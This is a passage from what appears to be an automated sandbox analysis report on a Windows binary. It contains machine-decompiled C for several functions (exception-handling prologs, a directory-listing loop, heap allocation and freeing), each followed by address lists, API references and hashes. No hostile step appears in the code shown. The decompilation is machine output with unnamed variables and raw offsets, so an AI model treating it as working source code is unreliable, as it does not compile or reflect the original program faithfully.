									__eflags =  *((intOrPtr*)(_t176 - 0x18)) - _t145;
									if( *((intOrPtr*)(_t176 - 0x18)) >= _t145) {
										goto L12;
									} else {
										goto L11;
									}
								}
							}
						}
					}
				} else {
					_t103 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t176 - 0xc));
				return _t103;
			}

0x0040f64d
0x0040f658
0x0040f65b
0x0040f65f
0x0040f667
0x0040f670
0x0040f679
0x0040f67f
0x0040f681
0x0040f687
0x0040f68d
0x0040f68f
0x0040f68f
0x0040f697
0x0040f69a
0x0040f69d
0x0040f6a4
0x0040f6aa
0x0040f6b0
0x0040f6b6
0x0040f6b7
0x0040f6c2
0x0040f6c4
0x0040f6c4
0x0040f6d4
0x0040f6d5
0x0040f6de
0x0040f6e2
0x0040f6e8
0x0040f6f1
0x0040f6f3
0x0040f707
0x0040f709
0x0040f6f5
0x0040f6f5
0x0040f6f9
0x00000000
0x0040f6fb
0x0040f6fb
0x0040f6fe
0x0040f70f
0x0040f70f
0x0040f71d
0x0040f722
0x0040f724
0x0040f72a
0x0040f72d
0x0040f730
0x0040f73a
0x0040f740
0x0040f74d
0x0040f752
0x0040f754
0x0040f75d
0x0040f767
0x0040f76a
0x0040f76f
0x0040f775
0x0040f778
0x0040f77e
0x0040f784
0x0040f787
0x0040f78d
0x0040f792
0x0040f795
0x0040f797
0x0040f797
0x0040f79c
0x0040f7a8
0x0040f7ac
0x0040f7b6
0x0040f7c0
0x0040f7c3
0x0040f7c6
0x0040f7ca
0x0040f7cf
0x0040f7d2
0x0040f7dc
0x0040f7dc
0x0040f7df
0x0040f7e5
0x0040f7e5
0x0040f7e1
0x0040f7e1
0x0040f7e3
0x00000000
0x00000000
0x0040f7e3
0x0040f7ed
0x0040f803
0x0040f808
0x0040f80a
0x0040f815
0x0040f819
0x0040f826
0x0040f82a
0x0040f82c
0x0040f82c
0x0040f834
0x0040f842
0x0040f847
0x0040f84a
0x0040f84f
0x0040f852
0x0040f858
0x0040f858
0x0040f854
0x0040f854
0x0040f856
0x00000000
0x00000000
0x0040f856
0x00000000
0x0040f81b
0x0040f81b
0x0040f81e
0x0040f822
0x0040f822
0x0040f80c
0x0040f80c
0x0040f80f
0x00000000
0x0040f80f
0x0040f7d4
0x0040f7d4
0x0040f7d6
0x0040f85d
0x0040f861
0x0040f86c
0x0040f872
0x0040f877
0x0040f87a
0x0040f87e
0x0040f87e
0x00000000
0x00000000
0x00000000
0x0040f7d6
0x0040f883
0x0040f88b
0x0040f88f
0x0040f894
0x0040f894
0x0040f894
0x0040f89b
0x0040f756
0x0040f756
0x0040f756
0x0040f8a3
0x0040f8aa
0x0040f8b0
0x0040f8b0
0x0040f700
0x0040f700
0x00000000
0x0040f702
0x0040f702
0x0040f705
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f705
0x0040f700
0x0040f6fe
0x0040f6f9
0x0040f6ea
0x0040f6ea
0x0040f6ea
0x0040f8b8
0x0040f8c0

APIs

__EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction ID: 8e2da863e0ec0aed1c7df7ef9f788bacddda9dad52c8f94b50dff24b72cd6dff
Opcode Fuzzy Hash: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
Instruction Fuzzy Hash: A7814A71E006059BCB24EBA9C481ADEFBB0BF48304F14453EE445B3791DB38A949CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C783 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C783(void* __ecx) {
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr _t64;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr* _t69;
				intOrPtr _t70;
				intOrPtr* _t72;
				intOrPtr _t83;
				signed int _t97;
				void* _t100;
				intOrPtr* _t101;
				intOrPtr _t102;
				void* _t104;

				E00413954(E0041A330, _t104);
				_t100 = __ecx;
				_t59 =  *((intOrPtr*)(__ecx + 0x28));
				if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x18)) + 0xc)) + _t59)) == 0) {
					 *(_t104 - 0x10) = 2;
				} else {
					 *(_t104 - 0x10) = 0 |  *((intOrPtr*)(__ecx + 0x2c)) != 0x00000000;
				}
				 *((intOrPtr*)(_t104 - 0x14)) = 0;
				_t97 =  *((intOrPtr*)(_t100 + 0x24)) + _t59;
				_t60 =  *((intOrPtr*)(_t100 + 0x1c));
				 *(_t104 - 4) = 0;
				_t61 =  *((intOrPtr*)( *_t60 + 0x14))(_t60,  *((intOrPtr*)(_t100 + 0x20)) + _t97, _t104 - 0x14,  *(_t104 - 0x10));
				 *((intOrPtr*)(_t104 - 0x18)) = _t61;
				if(_t61 == 0) {
					E0040640D( *((intOrPtr*)(_t100 + 0xc)) + 8,  *((intOrPtr*)(_t104 - 0x14)));
					_t64 =  *((intOrPtr*)(_t100 + 0xc));
					 *(_t64 + 0x18) =  *(_t64 + 0x18) | 0xffffffff;
					 *((intOrPtr*)(_t64 + 0x10)) = 0;
					 *((intOrPtr*)(_t64 + 0x14)) = 0;
					 *((char*)(_t64 + 0x1c)) =  *((intOrPtr*)(_t100 + 0x2d));
					_t83 =  *((intOrPtr*)(_t100 + 0x14));
					 *((char*)(_t100 + 0x2e)) = 1;
					_t66 =  *((intOrPtr*)( *((intOrPtr*)(_t83 + 0x70)) + _t97 * 4));
					 *((intOrPtr*)(_t100 + 0x30)) =  *_t66;
					 *((intOrPtr*)(_t100 + 0x34)) =  *((intOrPtr*)(_t66 + 4));
					if( *(_t104 - 0x10) == 0 &&  *((intOrPtr*)(_t104 - 0x14)) == 0 && (_t97 >=  *((intOrPtr*)(_t83 + 0x120)) ||  *((intOrPtr*)( *((intOrPtr*)(_t83 + 0x124)) + _t97)) == 0) &&  *((intOrPtr*)(_t66 + 0x1d)) == 0) {
						 *(_t104 - 0x10) = 2;
					}
					_t101 =  *((intOrPtr*)(_t100 + 0x1c));
					_t68 =  *((intOrPtr*)( *_t101 + 0x18))(_t101,  *(_t104 - 0x10));
					 *(_t104 - 4) =  *(_t104 - 4) | 0xffffffff;
					_t102 = _t68;
					_t69 =  *((intOrPtr*)(_t104 - 0x14));
					if(_t69 != 0) {
						 *((intOrPtr*)( *_t69 + 8))(_t69);
					}
					_t70 = _t102;
				} else {
					_t72 =  *((intOrPtr*)(_t104 - 0x14));
					 *(_t104 - 4) =  *(_t104 - 4) | 0xffffffff;
					if(_t72 != 0) {
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t70 =  *((intOrPtr*)(_t104 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t104 - 0xc));
				return _t70;
			}

0x0040c788
0x0040c792
0x0040c79a
0x0040c7a3
0x0040c7b2
0x0040c7a5
0x0040c7ad
0x0040c7ad
0x0040c7b9
0x0040c7c5
0x0040c7c7
0x0040c7ce
0x0040c7d7
0x0040c7dc
0x0040c7df
0x0040c803
0x0040c808
0x0040c80e
0x0040c812
0x0040c815
0x0040c818
0x0040c81b
0x0040c81e
0x0040c828
0x0040c82d
0x0040c833
0x0040c836
0x0040c855
0x0040c855
0x0040c85c
0x0040c865
0x0040c868
0x0040c86c
0x0040c86e
0x0040c873
0x0040c878
0x0040c878
0x0040c87b
0x0040c7e1
0x0040c7e1
0x0040c7e4
0x0040c7ea
0x0040c7ef
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c883
0x0040c88b

APIs

__EH_prolog.LIBCMT ref: 0040C788

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction ID: af1ffdf326ee6b9e8f9f4efb185a7a75328b0af80e7613720a9e9424578e33b6
Opcode Fuzzy Hash: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
Instruction Fuzzy Hash: A9416D71A00646CFCB24DF58C48496ABBF1FF48314B2486AED096AB392C371ED46CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1AB Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040D1AB() {
				intOrPtr* _t44;
				intOrPtr _t50;
				void* _t61;
				intOrPtr* _t62;
				void* _t75;
				intOrPtr _t76;
				void* _t79;
				intOrPtr* _t80;
				void* _t82;
				void* _t84;

				E00413954(E0041A550, _t82);
				 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
				_t62 =  *((intOrPtr*)(_t82 + 8));
				 *((intOrPtr*)(_t82 - 0x10)) = _t84 - 0x58;
				 *((intOrPtr*)( *_t62 + 0x10))(_t62, _t75, _t79, _t61);
				_t80 =  *((intOrPtr*)(_t82 + 0x14));
				 *(_t82 - 4) = 1;
				_t87 = _t80;
				 *((intOrPtr*)(_t82 - 0x14)) = _t80;
				if(_t80 != 0) {
					 *((intOrPtr*)( *_t80 + 4))(_t80);
				}
				 *(_t82 - 0x64) =  *(_t82 - 0x64) & 0x00000000;
				 *(_t82 - 4) = 3;
				E00402155(_t82 - 0x60);
				 *((intOrPtr*)(_t82 - 0x60)) = 0x41b808;
				_push( *((intOrPtr*)(_t82 + 0x10)));
				 *(_t82 - 4) = 4;
				_t76 = E0040DF69(_t82 - 0x64, _t82, _t87,  *((intOrPtr*)(_t82 + 0xc)));
				_t88 = _t76;
				if(_t76 == 0) {
					_t77 = _t62 + 0x10;
					_push(_t62 + 0x10); // executed
					_t44 = E0040F8C3(_t82 - 0x64, __eflags); // executed
					__eflags = _t44;
					 *((intOrPtr*)(_t82 + 0x14)) = _t44;
					if(__eflags == 0) {
						E0040F4D8(_t77);
						E0040F51A();
						E0040F56F(_t77);
						E0040640D(_t62 + 8,  *((intOrPtr*)(_t82 + 0xc)));
						 *(_t82 - 4) = 2;
						E0040D2CF(_t82 - 0x64, __eflags);
						__eflags = _t80;
						 *(_t82 - 4) = 1;
						if(_t80 != 0) {
							 *((intOrPtr*)( *_t80 + 8))(_t80);
						}
						_t50 = 0;
					} else {
						 *(_t82 - 4) = 2;
						E0040D2CF(_t82 - 0x64, __eflags);
						__eflags = _t80;
						 *(_t82 - 4) = 1;
						if(_t80 != 0) {
							 *((intOrPtr*)( *_t80 + 8))(_t80);
						}
						_t50 =  *((intOrPtr*)(_t82 + 0x14));
					}
				} else {
					 *(_t82 - 4) = 2;
					E0040D2CF(_t82 - 0x64, _t88);
					 *(_t82 - 4) = 1;
					if(_t80 != 0) {
						 *((intOrPtr*)( *_t80 + 8))(_t80);
					}
					_t50 = _t76;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0xc));
				return _t50;
			}

0x0040d1b0
0x0040d1b8
0x0040d1bd
0x0040d1c4
0x0040d1c8
0x0040d1cb
0x0040d1ce
0x0040d1d2
0x0040d1d4
0x0040d1d7
0x0040d1dc
0x0040d1dc
0x0040d1df
0x0040d1e6
0x0040d1ea
0x0040d1ef
0x0040d1f6
0x0040d1fc
0x0040d208
0x0040d20a
0x0040d20c
0x0040d22f
0x0040d235
0x0040d236
0x0040d23b
0x0040d23d
0x0040d240
0x0040d263
0x0040d26a
0x0040d271
0x0040d27c
0x0040d284
0x0040d288
0x0040d28d
0x0040d28f
0x0040d293
0x0040d298
0x0040d298
0x0040d29b
0x0040d242
0x0040d245
0x0040d249
0x0040d24e
0x0040d250
0x0040d254
0x0040d259
0x0040d259
0x0040d25c
0x0040d25c
0x0040d20e
0x0040d211
0x0040d215
0x0040d21c
0x0040d220
0x0040d225
0x0040d225
0x0040d228
0x0040d228
0x0040d2c3
0x0040d2cc

APIs

__EH_prolog.LIBCMT ref: 0040D1B0

Part of subcall function 0040F8C3: __EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040D2CF: __EH_prolog.LIBCMT ref: 0040D2D4

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction ID: 9d10d91046bd1a4dd32f0e664b06ea8990f5f8cc09720d5c411fd584516079ca
Opcode Fuzzy Hash: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction Fuzzy Hash: 83313031901254DBCB11EFA4C6487EDBBB5AF15304F1440AEE8057B382DB78DE49DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00404C4A Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00404C4A(intOrPtr* __ecx, void* __eflags) {
				void* _t33;
				intOrPtr _t43;
				void* _t47;
				intOrPtr _t53;
				intOrPtr* _t82;
				void* _t84;
				void* _t86;
				intOrPtr _t87;

				E00413954(E004195D4, _t84);
				_t87 = _t86 - 0x64;
				_t82 = __ecx;
				E00404D51(_t84 - 0x70);
				_t53 = 0;
				_push(0x5c);
				 *((intOrPtr*)(_t84 - 4)) = 0;
				E00405468(_t84 - 0x1c, __ecx);
				_push(0x2a);
				 *((char*)(_t84 - 4)) = 1;
				_t33 = E00405468(_t84 - 0x28, _t84 - 0x1c);
				 *(_t84 - 0x38) =  *(_t84 - 0x38) | 0xffffffff;
				 *((char*)(_t84 - 4)) = 3;
				E00403D24(_t84 - 0x34, _t33);
				 *((char*)(_t84 - 4)) = 5;
				E00403A9C( *((intOrPtr*)(_t84 - 0x28)));
				while(E00405949(_t84 - 0x38, _t84 - 0x70) != 0) {
					_t87 = _t87 - 0xc;
					 *((intOrPtr*)(_t84 - 0x10)) = _t87;
					E00403D24(_t87, _t84 - 0x1c);
					_t47 = E00404D6C(_t84 - 0x70); // executed
					if(_t47 != _t53) {
						continue;
					} else {
						 *((char*)(_t84 - 4)) = 1;
						E00403A9C( *((intOrPtr*)(_t84 - 0x34)));
						E0040551A(_t84 - 0x38);
						E00403A9C( *((intOrPtr*)(_t84 - 0x1c)));
						E00403A9C( *((intOrPtr*)(_t84 - 0x48)));
						_t43 = 0;
					}
					L7:
					 *[fs:0x0] =  *((intOrPtr*)(_t84 - 0xc));
					return _t43;
				}
				 *((char*)(_t84 - 4)) = 1;
				E00403A9C( *((intOrPtr*)(_t84 - 0x34)));
				E0040551A(_t84 - 0x38);
				if(E0040489C( *_t82, 0) != 0) {
					_t53 = E004048AA( *_t82);
				}
				E00403A9C( *((intOrPtr*)(_t84 - 0x1c)));
				E00403A9C( *((intOrPtr*)(_t84 - 0x48)));
				_t43 = _t53;
				goto L7;
			}

0x00404c4f
0x00404c54
0x00404c59
0x00404c5f
0x00404c64
0x00404c66
0x00404c6d
0x00404c70
0x00404c75
0x00404c7d
0x00404c81
0x00404c86
0x00404c8e
0x00404c92
0x00404c9a
0x00404c9e
0x00404ca4
0x00404cb4
0x00404cbc
0x00404cc3
0x00404cca
0x00404cd1
0x00000000
0x00404cd3
0x00404cd6
0x00404cda
0x00404ce3
0x00404ceb
0x00404cf3
0x00404cf9
0x00404cfb
0x00404d3d
0x00404d42
0x00404d4b
0x00404d4b
0x00404d01
0x00404d05
0x00404d0e
0x00404d1e
0x00404d27
0x00404d27
0x00404d2c
0x00404d34
0x00404d3a
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00404C4F

Part of subcall function 00405468: __EH_prolog.LIBCMT ref: 0040546D

Part of subcall function 00404D6C: __EH_prolog.LIBCMT ref: 00404D71

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction ID: 9114e62b92f145f299bca9ec68259fa3d4e050d8b6bab90f4208dc7235d8fbe8
Opcode Fuzzy Hash: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction Fuzzy Hash: 1A31AF71901209AADF05FFE1E842AEEBF75AF50318F10402FE441332D2CE795A4ADE59

Uniqueness

Uniqueness Score: -1.00%

Function 00413EA3 Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 24%

			E00413EA3(unsigned int _a4) {
				signed int _v8;
				intOrPtr _v20;
				void* _v32;
				intOrPtr _t19;
				void* _t20;
				signed char _t22;
				void* _t23;
				void* _t24;
				void* _t36;
				unsigned int _t44;
				unsigned int _t46;
				intOrPtr _t47;
				void* _t50;

				_push(0xffffffff);
				_push(0x41b988);
				_push(E00414A2C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_t19 =  *0x425a38; // 0x1
				if(_t19 != 3) {
					__eflags = _t19 - 2;
					if(_t19 != 2) {
						goto L11;
					} else {
						_t24 = _a4;
						__eflags = _t24;
						if(_t24 == 0) {
							_t44 = 0x10;
						} else {
							_t9 = _t24 + 0xf; // 0xf
							_t44 = _t9 & 0xfffffff0;
						}
						_a4 = _t44;
						__eflags = _t44 -  *0x42283c; // 0x1e0
						if(__eflags > 0) {
							L10:
							_push(_t44);
							goto L14;
						} else {
							E0041570A(9);
							_pop(_t36);
							_v8 = 1;
							_v32 = E00416894(_t36, _t44 >> 4);
							_v8 = _v8 | 0xffffffff;
							E00413F69();
							_t23 = _v32;
							__eflags = _t23;
							if(_t23 == 0) {
								goto L10;
							}
						}
					}
				} else {
					_t46 = _a4;
					_t50 = _t46 -  *0x425a30; // 0x0
					if(_t50 > 0) {
						L11:
						_t20 = _a4;
						__eflags = _t20;
						if(_t20 == 0) {
							_t20 = 1;
						}
						_t22 = _t20 + 0x0000000f & 0x000000f0;
						__eflags = _t22;
						_push(_t22);
						L14:
						_push(0);
						_t23 = RtlAllocateHeap( *0x425a34); // executed
					} else {
						E0041570A(9);
						_v8 = _v8 & 0x00000000;
						_push(_t46);
						_v32 = E00415DF1();
						_v8 = _v8 | 0xffffffff;
						E00413F0A();
						_t23 = _v32;
						if(_t23 == 0) {
							goto L11;
						} else {
						}
					}
				}
				 *[fs:0x0] = _v20;
				return _t23;
			}

0x00413ea6
0x00413ea8
0x00413ead
0x00413eb8
0x00413eb9
0x00413ec6
0x00413ece
0x00413f13
0x00413f16
0x00000000
0x00413f18
0x00413f18
0x00413f1b
0x00413f1d
0x00413f29
0x00413f1f
0x00413f1f
0x00413f22
0x00413f22
0x00413f2a
0x00413f2d
0x00413f33
0x00413f63
0x00413f63
0x00000000
0x00413f35
0x00413f37
0x00413f3c
0x00413f3d
0x00413f50
0x00413f53
0x00413f57
0x00413f5c
0x00413f5f
0x00413f61
0x00000000
0x00000000
0x00413f61
0x00413f33
0x00413ed0
0x00413ed0
0x00413ed3
0x00413ed9
0x00413f72
0x00413f72
0x00413f75
0x00413f77
0x00413f7b
0x00413f7b
0x00413f7f
0x00413f7f
0x00413f81
0x00413f82
0x00413f82
0x00413f8a
0x00413edf
0x00413ee1
0x00413ee7
0x00413eeb
0x00413ef2
0x00413ef5
0x00413ef9
0x00413efe
0x00413f03
0x00000000
0x00000000
0x00413f05
0x00413f03
0x00413ed9
0x00413f93
0x00413f9e

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00413F8A

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction ID: 7c2cfac85a053aeac9454e1c2b35b253285297f11283e44f43d764ba5cf7311f
Opcode Fuzzy Hash: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction Fuzzy Hash: 1A217431E44605EBDB10AFA9DC42BDAB7B4EB01765F10421BF411EB2D0C778AAC28A58

Uniqueness

Uniqueness Score: -1.00%

Function 00413F9F Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00413F9F(intOrPtr _a4) {
				signed int _v8;
				char _v20;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _t19;
				intOrPtr _t20;
				intOrPtr _t24;
				intOrPtr _t27;
				intOrPtr _t40;
				char _t42;
				intOrPtr _t49;

				_push(0xffffffff);
				_push(0x41b9a0);
				_push(E00414A2C);
				_t19 =  *[fs:0x0];
				_push(_t19);
				 *[fs:0x0] = _t42;
				_t40 = _a4;
				if(_t40 != 0) {
					_t20 =  *0x425a38; // 0x1
					if(_t20 != 3) {
						if(_t20 != 2) {
							_push(_t40);
							goto L12;
						} else {
							E0041570A(9);
							_v8 = 1;
							_t24 = E004167F8(_t40,  &_v44,  &_v36);
							_v40 = _t24;
							if(_t24 != 0) {
								E0041684F(_v44, _v36, _t24);
							}
							_v8 = _v8 | 0xffffffff;
							_t19 = E00414061();
							goto L9;
						}
					} else {
						E0041570A(9);
						_v8 = _v8 & 0x00000000;
						_t27 = E00415A9D(_t40);
						_v32 = _t27;
						if(_t27 != 0) {
							_push(_t40);
							_push(_t27);
							E00415AC8();
						}
						_v8 = _v8 | 0xffffffff;
						_t19 = E00414009();
						_t49 = _v32;
						L9:
						if(_t49 == 0) {
							_push(_a4);
							L12:
							_push(0);
							_t19 = RtlFreeHeap( *0x425a34); // executed
						}
					}
				}
				 *[fs:0x0] = _v20;
				return _t19;
			}

0x00413fa2
0x00413fa4
0x00413fa9
0x00413fae
0x00413fb4
0x00413fb5
0x00413fc2
0x00413fc7
0x00413fcd
0x00413fd5
0x00414015
0x0041406a
0x00000000
0x00414017
0x00414019
0x0041401f
0x0041402f
0x00414037
0x0041403c
0x00414045
0x0041404a
0x0041404d
0x00414051
0x00000000
0x00414056
0x00413fd7
0x00413fd9
0x00413fdf
0x00413fe4
0x00413fea
0x00413fef
0x00413ff1
0x00413ff2
0x00413ff3
0x00413ff9
0x00413ffa
0x00413ffe
0x00414003
0x0041405a
0x0041405a
0x0041405c
0x0041406b
0x0041406b
0x00414073
0x00414073
0x0041405a
0x00413fd5
0x0041407c
0x00414087

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,00000000,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074), ref: 00414073

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction ID: 47133188c5d3e4a4a91398ef735a592283a7fe3b34e77d79aa204ad2d485eaa9
Opcode Fuzzy Hash: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction Fuzzy Hash: 8321C572901609EADB20ABA6DC46BDE7B78EF48764F14021BF511B61C0D77C89C18AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040A011 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040A011(signed int __ecx, void* __eflags) {
				void* _t28;
				intOrPtr* _t42;
				intOrPtr* _t43;
				void* _t49;

				E00413954(E00419E67, _t49);
				_push(__ecx);
				_push(__ecx);
				 *((intOrPtr*)(_t49 - 0x10)) = __ecx;
				 *(_t49 - 4) = 4;
				E004042AD(__ecx + 0xb4);
				 *(_t49 - 4) = 3;
				E004042AD(__ecx + 0xa0);
				_t42 = __ecx + 0x8c;
				 *((intOrPtr*)(_t49 - 0x14)) = _t42;
				 *_t42 = 0x41b6c0;
				 *(_t49 - 4) = 5;
				E004042D6();
				 *(_t49 - 4) = 2;
				E004042AD(_t42);
				_t43 = __ecx + 0x78;
				 *((intOrPtr*)(_t49 - 0x14)) = _t43;
				 *_t43 = 0x41b6c8;
				 *(_t49 - 4) = 6;
				E004042D6();
				 *(_t49 - 4) = 1;
				E004042AD(_t43);
				 *(_t49 - 4) =  *(_t49 - 4) & 0x00000000;
				E00407868(__ecx);
				 *(_t49 - 4) =  *(_t49 - 4) | 0xffffffff;
				asm("sbb ecx, ecx");
